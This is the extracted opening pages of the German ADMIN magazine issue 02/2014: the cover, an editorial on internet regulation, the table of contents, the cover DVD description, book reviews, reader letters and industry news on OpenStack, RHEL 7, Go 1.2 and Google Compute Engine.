Docker - Medialinx
Docker - Medialinx
Docker - Medialinx
Erfolgreiche ePaper selbst erstellen
Machen Sie aus Ihren PDF Publikationen ein blätterbares Flipbook mit unserer einzigartigen Google optimierten e-Paper Software.
Jetzt<br />
mit<br />
Office 365 in<br />
der Powershell<br />
ADMIN<br />
IT-Praxis & Strategie<br />
WLANs sicher nutzen mit IEEE 802.1x<br />
Hadoop: Big<br />
Data für alle<br />
Drahtlos<br />
glücklich<br />
Cluster mit dem<br />
Windows Server<br />
< ••• >•••••••••••••• < •••><br />
NST 18<br />
Network Security Toolkit<br />
02/2014 Februar<br />
<strong>Docker</strong><br />
Container-<br />
Virtualisierung<br />
im Aufwind<br />
Authentifizieren mit Freeradius<br />
WPA in Enterprise-Qualität<br />
Wifi-Einbruchstest<br />
Offene WLANs<br />
OpenLDAP<br />
Großer Workshop zum<br />
Directory-Server<br />
NAS<br />
Netzwerk-Storage<br />
mit 10 GBit<br />
SmartOS<br />
Linux trifft Solaris<br />
www.admin-magazin.de<br />
Joblib<br />
Python parallelisiert<br />
D EUR 9,80<br />
A EUR 10,80 - BeNeLux EUR 11,25<br />
CH sfr 19,60 - E / I EUR 12,75<br />
4 196360 509805 02
Service<br />
Editorial<br />
3<br />
In der Gas-Ampel-Zeit<br />
Liebe Leserinnen und Leser,<br />
Es ist ja nicht das erste Mal. Das bislang letzte Mal ist sogar noch gar nicht<br />
lange her. Zumindest aus historischer Perspektive: Vor nur gut 100 Jahren<br />
hat zuletzt eine neue Technik den Alltag so grundlegend umgekrempelt wie<br />
heute das Internet. Damals war es das Auto.<br />
Erfunden im ausgehenden 19. Jahrhundert durchlebte es in den ersten<br />
Jahrzehnten des 20. eine turbulente Kindheit. Mit ihr begann das Zeitalter<br />
der Massenmobilität, der Welt als Dorf. Das Zeitalter des schnellen Gütertransports<br />
an Orte, die die Eisenbahn nicht erreichte. Das Zeitalter von Taxi<br />
und Omnibus. Schon Ende der 1920er Jahre gab es auf den Straßen West- und Mitteleuropas zum ersten<br />
Mal mehr Motorräder als Reitpferde, mehr Pkws als Kutschen, mehr Lkws als Fuhrwerke, mehr Autotaxis<br />
als Pferdedroschken und mehr Motoromnibusse als Pferdeomnibusse.<br />
Allerdings lebten die Verkehrsteilnehmer dieser Pionierzeit riskant, denn die technische Entwicklung<br />
vollzog sich schneller als die Gesellschaft sich daran anpassen konnte. So gab es anfangs nicht nur keine<br />
Kfz-Steuern und keine Autoversicherungen, keine Tankstellen und kein Werkstättennetz, sondern auch<br />
keinen TÜV, keinen Führerschein und keine Straßenverkehrsordnung.<br />
Als einen Vorläufer des Verkehrsrechts hatte man 1865 in England den Red Flag Act erlassen, demzufolge<br />
zur Unfallprävention jedem der damals noch dampfgetriebenen Wagen ein Helfer mit roter Flagge<br />
vorauslaufen musste. Nur wenige Jahre später ging die erste Ampel in Betrieb. Mit Gaslicht betrieben explodierte<br />
sie nach kurzer Zeit und bekam erst 1912 ihre zweite Chance, nachdem sich die Elektrifizierung<br />
durchgesetzt hatte. Die anfängliche Anarchie hatte jedoch ihren Preis: Das Risiko, im Straßenverkehr zu<br />
sterben, war – gemessen am jeweiligen Kraftfahrzeugbestand – 1907 mehr als 60mal so hoch wie 100<br />
Jahre später.<br />
Wir kennen nun seit ein paar Jahrzehnten das Internet. Aber mir scheint, wir leben noch in der Gas-Ampel-Zeit.<br />
Die Technik ist uns einen Schritt voraus. Das Risiko, im Netz von Kriminellen beraubt oder von<br />
Kriminalern belauscht zu werden, ist enorm. Wesentliche Aspekte der Internet-Praxis sind noch immer<br />
unreguliert, es fehlen Normen und Gesetze für digitale Bürgerrechte, für Datenschutz und gegen Datenmissbrauch,<br />
im Urheberrecht, zur Sicherung der Netzneutralität und beim eGovernment. Gerade der<br />
Staat negiert seine Vorbildfunktion und lässt seine Sicherheitsorgane machen, was möglich ist.<br />
Dem Auto folgten nach gut drei Jahrzehnten nach und nach Fahrbahnmarkierungen, Signalanlagen, Geschwindigkeitsbegrenzungen,<br />
einheitliche Verkehrszeichen und festgeschriebene Verkehrsordnungen.<br />
Im Internet sind nun mindestens ebenso viele Jahre verstrichen. Es ist an der Zeit.<br />
@ leserbriefe@admin-magazin.de www.facebook.com/adminmagazin www.twitter.com/admagz<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
Service<br />
4 Inhalt<br />
ADMIN<br />
IT-Praxis & Strategie<br />
Wireless Security<br />
ab Seite 24<br />
n Login<br />
8 Bücher<br />
Steuerungstechnik und SDN.<br />
10 Leserbriefe<br />
E-Mails an die Redaktion.<br />
12 Branchen-News<br />
Neues von Software und Projekten.<br />
16 Admin-Story<br />
MongoDB und FreeIPA verbinden.<br />
n Netzwerk<br />
20 10-GBit-NAS<br />
NAS-Setup mit 10 GBit im Test.<br />
n Schwerpunkt<br />
24 Wireless Security<br />
Schwachstellen drahtloser Netze<br />
ausmerzen.<br />
28 WLAN-Grundlagen<br />
Sicherheit im WLAN: Fakten und<br />
Mythen.<br />
32 Freifunk und MobyKlick<br />
Öffentliche drahtlose Netzwerke in<br />
Deutschland.<br />
36 FreeRadius<br />
Authentifizierung zentralisiert.<br />
40 Anfällige WLAN-Router<br />
WLAN-Router für kleine Firmen<br />
und zu Hause sind durchweg<br />
unsicher.<br />
46 WLAN-Cracking<br />
WLAN-Sicherheit mit Python-Skripten<br />
erforschen.<br />
28<br />
WLAN-Grundlagen<br />
Wahrheit und Lüge bei der<br />
Absicherung von WLANs.<br />
Service<br />
3 Editorial<br />
4 Inhalt<br />
6 Heft-DVD<br />
114 Impressum und Vorschau<br />
Ausgabe 02-2014<br />
Admin<br />
www.admin-magazin.de
Service<br />
Inhalt<br />
5<br />
Neues beim verteilten<br />
58Ceph<br />
Dateisystem.<br />
Solaris trifft Linux: Virtualisierung<br />
mit 84SmartOS<br />
ZFS-Basis.<br />
Seite 6<br />
NST 18<br />
< ••• >•••••••••••••• < •••><br />
Network Security Toolkit<br />
n Know-how<br />
52 Windows-Cluster<br />
Cluster sind mit mit Windows Server<br />
2012 R2 schnell installiert.<br />
58 Ceph<br />
Wohin geht die Reise beim Ceph-<br />
Objectstore?<br />
64 Hadoop<br />
Verteilte Verarbeitung großer<br />
Datenmengen im Cluster.<br />
74 Powershell für Office 365<br />
Das Cloud-Büropaket Office 365<br />
mit der Powershell verwalten.<br />
n Basics<br />
78 Das »sar«-Tool in Linux<br />
Performancewerte über längere<br />
Zeit sammeln und auswerten.<br />
82 ADMIN-Tipps<br />
Die monatlichen Tipps der<br />
Redaktion.<br />
n Virtualisierung<br />
84 SmartOS<br />
Virtualisierungsplattform auf der<br />
Grundlage von Solaris und Linux-<br />
KVM.<br />
90 <strong>Docker</strong><br />
Renaissance der Container-Virtualisierung<br />
mit <strong>Docker</strong>.<br />
n Programmieren<br />
96 Python-Joblib<br />
Die Joblib hilft, Python-Programme<br />
zu parallelisieren.<br />
100 Programmieren mit Go<br />
Mit Schleifen und Unicode zum<br />
eigenen Prozess-Tool<br />
n FreeX<br />
106 OpenLDAP<br />
Ausführlicher Workshop zum freien<br />
Directory-Server: Installation,<br />
Konfiguration und Integration mit<br />
anderen Diensten.<br />
100Go<br />
Programmieren mit der<br />
Google-Sprache.<br />
74<br />
Office 365<br />
Powershell verwaltet<br />
das Cloud-Büropaket.<br />
Admin<br />
Ausgabe 02-2014
6<br />
Service<br />
Heft-DVD<br />
DVD kaputt?<br />
Wir schicken Ihnen kostenlos eine Ersatz-DVD<br />
zu. E-Mail genügt: info@admin-magazin.de<br />
Network Security Toolkit 18<br />
Heft-DVD<br />
Auf dem beiliegenden Datenträger finden Sie die Security-<br />
Distribution Network Security Toolkit.<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31315<br />
n Security-Distribution basierend auf<br />
Fedora Linux<br />
n Live-DVD oder Installation<br />
n Webserver-Testing<br />
n Passwort-Cracker und<br />
-Generatoren.<br />
n Virenscanner<br />
n Crypto-Programme<br />
n Wireless-Tools<br />
n Geolocation für Netzwerkdaten<br />
Legen Sie einfach die DVD in das Laufwerk<br />
ein und starten Sie den Rechner.<br />
Möglicherweise müssen Sie noch im<br />
BIOS die richtige Boot-Reihenfolge<br />
einstellen. Danach können Sie die<br />
Security-Distribution starten oder auf<br />
dem Rechner als Betriebssystem installieren.<br />
n<br />
Bram janssens, 123RF<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
8<br />
Login<br />
Bücher<br />
Galina Peshkova, 123RF<br />
Neue Bücher zur Feedback-Steuerung und zu Software-definierten Netzwerken<br />
Vorgelesen<br />
Diesen Monat im Buchstabentest: Steuerungstechnik für Computer<br />
und Software-definiertes Networking Oliver Frommel, Carsten Schnober<br />
Die Kontrolltheorie befasst sich mit der<br />
Steuerung und Optimierung automatischer<br />
Abläufe. Sie spielt beispielsweise<br />
bei der Regulierung von Heiz- und Kühlsystemen,<br />
automatischer<br />
Geschwindigkeitsanpassung<br />
von Autos und bei<br />
der Fließbandproduktion<br />
eine wichtige Rolle. In der<br />
Software-Technik kommen<br />
oft die gleichen Methoden<br />
etwa beim Caching und in<br />
Server-Farmen zur Regulierung<br />
der eingesetzten<br />
Rechner zum Zuge.<br />
Feedback Control, zu deutsch etwa die<br />
Rückkopplungskontrolle, bildet eine<br />
wichtige Komponente in der Optimierung<br />
solcher automatischen Abläufe.<br />
Das im O’Reilly-Verlag bisher nur auf<br />
Englisch erschienene Buch „Feedback<br />
Control for Computer Systems“ von<br />
Philipp K. Janert führt auf 300 Seiten in<br />
die Konzepte der Kontrolltheorie ein.<br />
Zunächst zeigt der Autor anhand von<br />
Beispielfällen, wie sich einzelne Parameter<br />
der eingesetzten Algorithmen<br />
auswirken und wie sich diese optimieren<br />
lassen. Beispiele aus der realen<br />
Welt verdeutlichen die Effekte, die auch<br />
n Feedback Control<br />
Philipp K. Janert<br />
Feedback Control for Computer Systems<br />
– Introducing Control Theory to<br />
Enterprise Programmers<br />
O’Reilly, 327 Seiten<br />
24,50 Euro (eBook: 17,99 Euro)<br />
ISBN: 978-1-4493-6169-3<br />
in Software-Systemen auftreten. Worker<br />
Queues (Arbeitsschlangen) etwa<br />
können aus theoretischer Perspektive<br />
aus echten Arbeitern wie aus Worker-<br />
Prozessen bestehen.<br />
Auf die Theorie des ersten<br />
Teils folgt im zweiten Teil die<br />
Praxis, die typische Softwaretechnische<br />
Probleme löst. Im<br />
dritten Teil veranschaulichen<br />
zahlreiche Anwendungsbeispiele<br />
mit vollständigen<br />
Beschreibungen und gut dokumentierten<br />
Python-Implementationen<br />
die Lösungen.<br />
SDN<br />
Und die Welle rollt weiter. Nachdem<br />
„Compute“ und „Storage“ weitgehend<br />
virtualisiert sind, steht als nächstes<br />
das Netzwerk an: „Software<br />
Defined Networking“. Ein Buch<br />
des O’Reilly-Verlags nimmt sich<br />
des Themas an und gibt einen<br />
Einblick in ein Gebiet, das sich<br />
in rasanter Entwicklung befindet.<br />
Die Autoren arbeiten beide<br />
beim Router-Hersteller Juniper<br />
und verfügen so über Praxisund<br />
Gremienerfahrung.<br />
Zuerst geben sie einen Überblick über<br />
grundsätzliche Aufgaben eines SDN-<br />
Stacks: Aufteilung in Control- und Data-<br />
Plane sowie das Management über<br />
standardisierte Protokolle und APIs.<br />
Auch die Probleme beschreiben die Autoren:<br />
Schwierigkeiten bei der Autokonfiguration<br />
eines Software-definierten<br />
Netzes, Ausfallsicherheit und Loadbalancing<br />
auf der Management-Seite.<br />
Im Mittelpunkt steht zunächst der<br />
OpenFlow-Standard, um den sich die<br />
Open Networking Foundation kümmert,<br />
der aber nach Meinung der Autoren<br />
nicht frei von Problemen ist. Eine<br />
Working Group arbeitet an einer Erweiterung<br />
des Standards namens FAWG,<br />
aber das ist noch nicht abgeschlossen.<br />
Dann gehen die Autoren die SDN-Controller<br />
der führenden Anbieter durch:<br />
VMware/Nicira, Big Switch, Juniper<br />
und Cisco, aber auch die Open-Source-<br />
Software vSwitch. In Wort und Bild<br />
stellen die Autoren die Ansätze einer<br />
theoretischen Ideallösung gegenüber,<br />
was zur Orientierung durchaus sinnvoll<br />
ist. Im Programmierteil stellt das Buch<br />
verschiedene Techniken vor, das Netzwerk<br />
per Code zu verwalten. Hier geht<br />
es bunt durcheinander und Formate<br />
wie JSON und XMPP stehen neben<br />
einem Framework wie Cloudstack. Weitere<br />
Kapitel beschäftigen sich mit der<br />
Datacenter-Technologie.<br />
Ist man mit dem Buch<br />
fertig, schwirrt einem der<br />
Kopf angesichts der Vielzahl<br />
verschiedener Technologien,<br />
Akronyme und<br />
komplexer Diagramme.<br />
Es von vorne bis hinten<br />
durchzulesen, erscheint<br />
wenig sinnvoll. Eher ist es<br />
für Leser gedacht, die sich gezielt über<br />
die Grundlagen von SDN und einzelne<br />
Ansätze dazu informieren wollen. n<br />
n SDN<br />
Thomas D. Nadeau, Ken Gray<br />
SDN – Software Defined Networks<br />
O’Reilly, 384 Seiten<br />
37,95 Euro<br />
ISBN-10: 1449342302<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Expert Panel<br />
Mobile Enterprise<br />
10.–14.03.2014<br />
Mobility-Trends der Unternehmens-IT<br />
Tägliches Vortragsprogramm<br />
Themenhighlights:<br />
Vorträge und Podiumsdiskussionen zu Mobile Strategy, Mobile Device Management,<br />
Mobile Security, Mobile Lösungen zu CRM / ERP / BI / Office, Service, Instandhaltung,<br />
Logistik, Softwareentwicklung & Systemintegration, u.v.m.<br />
www.cebit.de/de/mobile-enterprise<br />
Powered by<br />
Presented by<br />
pluspol.de<br />
Marketing Kommunikation Internet
Login<br />
10 Leserbriefe<br />
Leser-Feedback<br />
Leserbriefe<br />
Haben Sie Anregungen, Kritik oder Kommentare? Dann schreiben Sie an leserbriefe@admin-magazin.de.<br />
Die Redaktion behält es sich vor, die Zuschriften und Leserbriefe zu kürzen. Sie veröffentlicht alle Beiträge<br />
mit Namen, sofern der Autor nicht ausdrücklich Anonymität wünscht.<br />
Pavel Ignatov, 123RF<br />
Landscape<br />
Danke für den Artikel über Landscape;<br />
so kriegt man auch mal einen Einblick,<br />
was man für sein Geld so bekommen<br />
würde. Allerdings finde ich es sehr<br />
schade, dass Landscape (bisher?) nur<br />
mit Ubuntu funktioniert, da wäre mir in<br />
größeren Umgebungen die Gefahr von<br />
einem Vendor-Lock-In zu groß! Außerdem<br />
ist der Preis zu hoch, wenn man<br />
die anderen Services von Advantage<br />
nicht braucht.<br />
Red Hat bietet mit Spacewalk beispielsweise<br />
eine freie Variante von Satellite/<br />
Red Hat Network an, quasi das Konkurrenzprodukt<br />
zu Landscape und Advantage<br />
von Red Hat. Damit kann man<br />
sich theoretisch kostenlos ein eigenes<br />
Red Hat Network bauen. Andererseits<br />
fand ich die Installation und Konfiguration<br />
von Spacewalk bei meinen ersten<br />
Versuchen damit so umständlich und<br />
schlecht dokumentiert, dass es wohl<br />
auch nicht wirklich als Alternative<br />
taugt.<br />
Charlotte S. (per E-Mail)<br />
Für Kommentare und Anregungen können Sie<br />
mit der Redaktion auch über die Facebook- und<br />
Google+-Seiten in Kontakt treten, die Sie unter<br />
[http:// facebook. com/ adminmagazin] und<br />
[http://google.com/+Admin-magazinDe] finden.<br />
vCenter 5.5 und Linux<br />
12/2013, Seite 100: Erst mal ein Lob für<br />
die tolle Mischung im ADMIN-Magazin.<br />
Die Gewichtung zwischen Linux, Windows<br />
und dem Rest passt gut.<br />
Da wir intensiv Linux (OES, eDirectory)<br />
nutzen, ist die Administration von VMware<br />
immer ein Problem gewesen. VMware<br />
Server 2.0 war über den Browser<br />
bedienbar, danach kam lange nichts<br />
mehr. vCenter 5.0 war da ein Leuchtstern<br />
am Himmel, da es sich mit Firefox<br />
ESR unter SLED 11 SP3 bedienen ließ.<br />
vCenter 5.5 erfordert dagegen Adobe<br />
Flash 10.5 und neuer! Bekanntlich ist<br />
die Entwicklung für Linux und Solaris<br />
mit 10.2 beendet. Dass VMware so ein<br />
tolles Produkt mit dem dusseligen<br />
Flash programmiert, ist ganz schlimm.<br />
Der einzige mir bekannte Ausweg ist<br />
die Nutzung von Chrome, da Google ein<br />
Abkommen mit Adobe hat. Auch Chromium<br />
geht nicht.<br />
Leider ist die Nutzung des aktuellen<br />
Chrome unter Suse Linux Entperise<br />
Server und Desktop 11 wegen nicht aufgelöster<br />
Abhängigkeiten nicht möglich.<br />
Das ist ein Rückschritt. Chrome Portable<br />
mit Wine, alte Chrome-Versionen<br />
und andere Versuche haben nur Zeit<br />
gekostet, aber keine Lösung gebracht.<br />
Jetzt muss ich doch wieder auf eine<br />
Windows-7-VM unter VirtualBox zurückgreifen.<br />
Mit Ubuntu 12.04 und neuer ist<br />
das natürlich kein Problem.<br />
Daher mein Wunsch: Im Artikelfazit<br />
sollte auch auf die Probleme mit unserem<br />
geliebten Linux eingegangen<br />
werden, wenn es dazu eine Verbindung<br />
gibt.<br />
Armin Geyer, Bundeszentrale für gesundheitliche<br />
Aufklärung<br />
Vielen Dank für das Feedback! Ich finde<br />
es auch äußerst unglücklich, dass<br />
vCenter eine aktuelle Flash-Version voraussetzt,<br />
die überhaupt nicht auf jeder<br />
Plattform unmittelbar zur Verfügung<br />
steht. Auch die von Ihnen geschilderten<br />
Folgeprobleme sind leider einigermaßen<br />
typisch. Das ist bedauerlicherweise auch<br />
der Grund, aus dem wir keine allgemeine<br />
Lösung anbieten können, da sich<br />
ein Artikel hoffnungslos in den Problemen<br />
mit Bezug auf Linux/Ubuntu/SLES,<br />
Chrome/Firefox/Chromium und vermutlich<br />
vielen weiteren verzetteln würde.<br />
Wie Sie bereits schreiben, hängen die<br />
Lösungswege von so vielen Parametern<br />
ab, dass der eigentliche Kern des Artikels<br />
damit nur noch am Ende in Beziehung<br />
steht. (Carsten Schnober)<br />
@ leserbriefe@admin-magazin.de www.facebook.com/adminmagazin www.twitter.com/admagz<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Special Conference:<br />
Open Source *<br />
* Früher: Forum Open Source<br />
10.–14.03.2014<br />
In Halle 6!<br />
Tägliches Vortragsprogramm<br />
Hintergrundinformationen aus erster Hand<br />
Themenhighlights:<br />
Automation / Konfigurationsmanagement, Security / Privacy,<br />
Cloud Computing / Virtualisierung, Treiber / Kernel, ARM-Architektur<br />
Auf der Bühne: Hochkarätige Vertreter der Open-Source-Szene, u.a.<br />
Klaus Knopper,<br />
KNOPPER.NET<br />
Jon „maddog“ Hall,<br />
Linux International<br />
Jim Lacey,<br />
Linux Professional<br />
Institute<br />
Änderungen vorbehalten.<br />
Powered by<br />
www.cebit.de/de/open-source<br />
Presented by<br />
pluspol.de<br />
Marketing Kommunikation Internet
12<br />
Login<br />
News<br />
Neue Software und Produkte<br />
Branchen-News<br />
Oracle ist OpenStack-Sponsor<br />
Oracle hat bekanntgegeben, dass es von nun an die OpenStack<br />
Foundation sponsern will und OpenStack in eine Vielzahl eigener<br />
Produkte zu integrieren gedenkt. Namentlich in Oracle Solaris,<br />
Oracle Linux, Oracle VM, Oracle Virtual Compute Appliance, Oracle<br />
Infrastructure as a Service, Oracle's ZS3 Series, Axiom Storage<br />
Systems und StorageTek Tape Systems will Oracle OpenStack integrieren.<br />
Darüber hinaus wird eine Kompatibilität mit Oracle Exalogic<br />
Elastic Cloud, Oracle Compute Cloud Service und Oracle Storage<br />
Cloud Service angestrebt. Weiter soll der OpenStack Object Storage<br />
Swift mit Storage Cloud Service kompatibel werden und über Open-<br />
Stack-APIs soll man dann auf ZFS Appliances, Pillar Axiom Storage<br />
Systems und StorageTek-Lösungen zugreifen können.<br />
Valve und Cloudius werden Mitglied<br />
der Linux Foundation<br />
Der Spielehersteller Valve ist nun Mitglied der Linux Foundation,<br />
die als nicht gewinnorientierte Einrichtung die Entwicklung<br />
des Linux-Kernels fördert. Valve, das mit Half Life<br />
seinen größten Erfolg feierte, arbeitet unter anderem an<br />
einer neuen Spielkonsole namens SteamOS, die auf Linux<br />
basiert. Firmenchef Gabe Newell hatte bereits bei der Vorstellung<br />
von Windows 8 seinen Unmut über das neue Windows-Betriebssystem<br />
geäußert und angekündigt, künftig<br />
stärker auf Linux zu setzen. Mittlerweile wurde dieser Plan<br />
in die Tat umgesetzt, indem Valve seine Spiele-Distributionsplattform<br />
Steam auf Linux portiert hat. Mit SteamOS<br />
soll dieses Engagement noch weiter ausgebaut werden.<br />
Trotz vieler positiver Stimmen aus der Linux-Welt findet<br />
Steam allerdings bisher nur wenig Zuspruch: Derzeit macht<br />
der Linux-Anteil der Steam-Benutzer nur etwa ein Prozent<br />
aus. Dies liegt vermutlich aber auch daran, dass bisher<br />
nur vergleichsweise wenige Spiele auch auf Linux portiert<br />
wurden.<br />
Neben Valve durfte die Linux Foundation auch die Firma<br />
Cloudius als neues Mitglied begrüßen, die sich zum Großteil<br />
aus Linux-Kernel-Entwicklern zusammensetzt. Allerdings<br />
ist deren Produkt kein klassisches Linux-System, sondern<br />
ein neues Betriebssystem namens OS v , das unter anderem<br />
auf FreeBSD basiert. OSv ist als minimalistisches System<br />
für Cloud-Systeme gedacht, funktioniert mit KVM und VMware<br />
und will den Overhead eines klassischen Betriebssytems<br />
reduzieren.<br />
OpenNebula 4.4 mit Storage<br />
Loadbalancing<br />
Die neuste Version 4.4 des Cloud-Computing-Framework OpenNebula<br />
erlaubt es, das für eine Cloud-Installation verfügbare Storage aufzuteilen<br />
und somit mehr Speicher zur Verfügung zu stellen, wenn er knapp<br />
wird. Außerdem lässt sich der Speicher mit dem neuen Mechanismus<br />
über mehrere Knoten verteilen.<br />
Für die Überwachung einer mit OpenNebula aufgebauten Cloud bietet<br />
die Software nun ein Push- statt des gewohnten Pull-Modells. Die Knoten<br />
senden also von selbst über das UDP-Protokoll ihre Daten an das<br />
Monitoring-System. Dies soll für bessere Performance sorgen, vor allem<br />
in Clouds mit einer Vielzahl von Nodes. In einem Test, der im OpenNebula-Blog<br />
präsentiert wird, haben die Entwickler damit alle zwei Minuten<br />
die überwachten Daten von 25 000 Knoten bezogen.<br />
Red Hat Enterprise Linux 7 Beta<br />
Nur drei Wochen nach der Veröffentlichung von<br />
Red Hat Enterprise Linux 6.5 (RHEL) hat Red<br />
Hat die erste Beta der Nachfolgeversion 7.0<br />
veröffentlicht. Sie verbessert unter anderem<br />
die Unterstützung für Linux-Container, in denen<br />
Anwendungen etwa mit <strong>Docker</strong> in isolierten<br />
Umgebungen laufen. Weiterhin enthält<br />
RHEL 7.0 das Dateisystem BtrFS als „Technology<br />
Preview“; Standarddateisystem bleibt<br />
XFS, das jetzt bis zu 500 TByte große Partitionen unterstützt. Auch die<br />
Zusammenarbeit mit Windows in heterogenen Umgebungen soll RHEL<br />
7.0 erleichtern. Dazu dient insbesondere die Integration von Samba 4.1<br />
mit Active-Directory-Unterstützung.<br />
Die Beta-Version von Red Hat Enterprise Linux 7.0 steht ab sofort zur<br />
Verfügung. Bestandskunden von Red-Hat können sie direkt herunterladen,<br />
andere müssen zunächst den Zugang beantragen.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Neue Storage-Arrays von Dell<br />
Die Flash-fähigen Storage-Arrays Dell EqualLogic PS6210<br />
bieten eine bis zu dreimal höhere Performance als frühere<br />
Produktgenerationen. Die insgesamt sechs Modelle des neuen<br />
Storage-Arrays, darunter All-Flash-, hybride und All-HDD-Optionen,<br />
bieten mit einem leistungsfähigeren Storage-Controller<br />
einen erhöhten Datendurchsatz, eine bis zu dreimal höhere<br />
Performance und viermal mehr Speicher als frühere Produktgenerationen.<br />
Die Flash-fähigen Arrays können bis zu 2,4 Mal so viele virtuelle<br />
Desktops unterstützen und bieten eine doppelt so hohe<br />
OLTP-Datenbankleistung bei einer halb so hohen Latenz wie<br />
frühere Array-Generationen. Mit der skalierbaren Architektur<br />
können Unternehmen Ein- und Ausgabeengpässe minimieren<br />
und sind in der Lage, sehr große Datenmengen mit Flashfähigen<br />
SANs zu verarbeiten, die bis zu 1,2 Millionen IOPS bei<br />
einer Latenzzeit von weniger als zwei Millisekunden erreichen<br />
können.<br />
Die neue Version der Array-Software Dell-EqualLogic-Array-<br />
Software 7.0 bietet eine überarbeitete Bedienoberfläche,<br />
vereinfacht das Speichermanagement und besitzt neue regelbasierte<br />
Zugriffsmechanismen.<br />
Crowdfunding für Dark Mail<br />
erfolgreich<br />
Dark Mail heißt das Projekt, in dem sich einige Experten für<br />
abhörsichere E-Mail zusammengetan haben. Unter dem<br />
Schlagwort „E-Mail 3.0“ wollen sie als Konsequenz aus dem<br />
Abhörskandal rund um das Prism-Programm des US-Geheimdienstes<br />
NSA der Netzgemeinde einen E-Mail-Dienst mit Endezu-Ende-Verschlüsselung<br />
anbieten.<br />
Der Hauptinitiator für Dark Mail, Lavabit, hatte seinen Dienst<br />
dieses Jahr eingestellt, um einer Anordnung zur Kooperation<br />
mit dem Geheimdienst beim Abhören seiner Kunden bei<br />
gleichzeitigem Stillschweigen zuvorzukommen. Prominentester<br />
Nutzer von Lavabit war Edward Snowden, der den Prism-<br />
Skandal an die Öffentlichkeit gebracht hatte.<br />
Zur Finanzierung der abhörsicheren E-Mail 3.0 hat Lavabit eine<br />
Crowdfunding-Kampagne ins Leben gerufen. Etwa 200 000<br />
US-Dollar (knapp 150 000 Euro) setzten die Initiatoren als<br />
Finanzierungsziel an, die Community hat diese Grenze nun<br />
geknackt.<br />
Mit dem Geld will die Dark-Mail-Initiative Programmierer anheuern,<br />
die das Dark-Mail-Protokoll implementieren und als<br />
freie, quelloffene Software veröffentlichen. Das intern bereits<br />
existierende Programm Magma unterstützt die Mail-Protokolle<br />
SMTP, POP3 sowie IMAP4 und ist auch per HTTP über eine<br />
JSON-Schnittstelle zugänglich.<br />
Neben erhöhter Sicherheit auf der Basis von PGP-Verschlüsselung<br />
soll auch Benutzerfreundlichkeit eine wichtige Rolle<br />
spielen: Clients für verschiedene Betriebssysteme, auch für<br />
Smartphones und Tablets, sollen mit Dark Mail auch technisch<br />
weniger versierten Nutzern Zugang zur sicheren E-Mail ermöglichen.
14<br />
Login<br />
News<br />
Go 1.2 hilft bei testgetriebener und nebenläufiger Entwicklung<br />
Nach sieben Monaten Arbeit veröffentlichen die Entwickler<br />
der ursprünglich im Hause Google angestoßenen Programmiersprache<br />
Go ihre neue stabile Version 1.2. Diesen<br />
Rhythmus wollen die Go-Entwickler von nun an zumindest<br />
ungefähr einhalten und lange Release-Lücken wie die vierzehn<br />
Monate zwischen Go 1.0 und 1.1 künftig verhindern.<br />
Insgesamt enthält die neue Go-Version 1600 Änderungen,<br />
eingebracht von 116 Entwicklern.<br />
In Sachen Syntax haben die Entwickler in Go 1.2 unter anderem<br />
den Umgang mit nil-Pointern überarbeitet: Inkorrekte<br />
Speicherzugriffe lösen nun zuverlässig eine Panic aus, das<br />
Go-Pendant zu den Exceptions anderer Sprachen. Daneben<br />
lassen sich Slices nun mit drei statt nur zwei Indizes initialisieren,<br />
um mit dem dritten Index direkt die Slice-Kapazität zu<br />
definieren.<br />
Testgetriebene Entwicklung vereinfacht Go 1.2 mit der Einführung<br />
des »‐cover«-Flag für den »go test«-Befehl. Sie untersucht<br />
automatisch die Abdeckung des Quellcodes durch eine<br />
Test-Suite.<br />
Daneben haben die Go-Entwickler Performance-Verbesserung<br />
bei der Verwendung von Goroutines erzielt, den<br />
sogenannten leichtgewichtigen Threads der Sprache. Ein<br />
verbesserter Scheduler verhindert, dass einzelne Goroutines,<br />
die nicht enden, einen kompletten Thread lahmlegen<br />
können. Des Weiteren lässt sich die Höchstzahl erlaubter<br />
Threads eines Programms begrenzen, um eine Überlastung<br />
des Systems zu verhindern. Go-Einsteiger können die neue<br />
Version bereits auf dem Go Playground ausprobieren [1]. Wer<br />
ganz neu ist, kann auch eine einführende Tour [2] durch die<br />
Sprache machen.<br />
Google macht Konkurrenzprodukt zu Amazon Web Services öffentlich<br />
Der Suchmaschinenhersteller Google<br />
hat bekanntgegeben, dass sein Service<br />
Google Compute Engine ab sofort der<br />
Öffentlichkeit zur Verfügung steht;<br />
bislang konnten ihn nur ausgewählte<br />
Teilnehmer nutzen. Der Dienst steht<br />
in direkter Konkurrenz zum Amazon-<br />
Service AWS; beide bieten virtuelle Maschinen<br />
mit variabel konfigurierbarer<br />
Ausstattung an.<br />
Die Maschinen der Google Compute<br />
Engine verfügen über Prozessoren<br />
mit bis zu 16 Kernen und maximal 104<br />
GByte Arbeitsspeicher. Die Anzahl der<br />
gemieteten Maschinen lässt sich vom<br />
Anwender zur Laufzeit an seinen Bedarf<br />
anpassen.<br />
Bislang konzentrierte sich die Betriebssystemunterstützung<br />
auf Debian und<br />
CentOS, nun gehören auch Red Hat,<br />
Suse und FreeBSD zu den verfügbaren<br />
Systemen; weitere sollen folgen.<br />
Der Preis für eine Standardinstanz mit<br />
einem Kern und 3,75 GByte Arbeitsspeicher<br />
beträgt 10,4 US-Cent auf einem<br />
US-amerikanischen Host, 11,4 US-Cent<br />
pro Stunde auf einem europäischen.<br />
Der Preis der Standardinstanzen steigt<br />
proportional zur Anzahl der Kerne und<br />
RAM-Größe.<br />
Daneben gibt es Maschinen mit besonders<br />
viel Arbeitsspeicher oder CPUs<br />
sowie Micro- und Small-Instanzen, die<br />
sich zum Preis von 1,9 bis 5,9 US-Cent<br />
mit einem geteilten Kern und 0,6 beziehungsweise<br />
1,7 GByte Arbeitsspeicher<br />
begnügen müssen. Dazu kommen<br />
Gebühren für Speicherplatz (4 US-Cent<br />
pro GByte) und Netzwerkverkehr.<br />
Eine statische Netzwerkadresse gibt es<br />
gratis dazu, solange sie in Benutzung<br />
ist. Wer sie reserviert, aber nicht mit<br />
einer virtuellen Maschine nutzt, den<br />
belegt Google mit einem weiteren US-<br />
Cent Gebühr pro Stunde.<br />
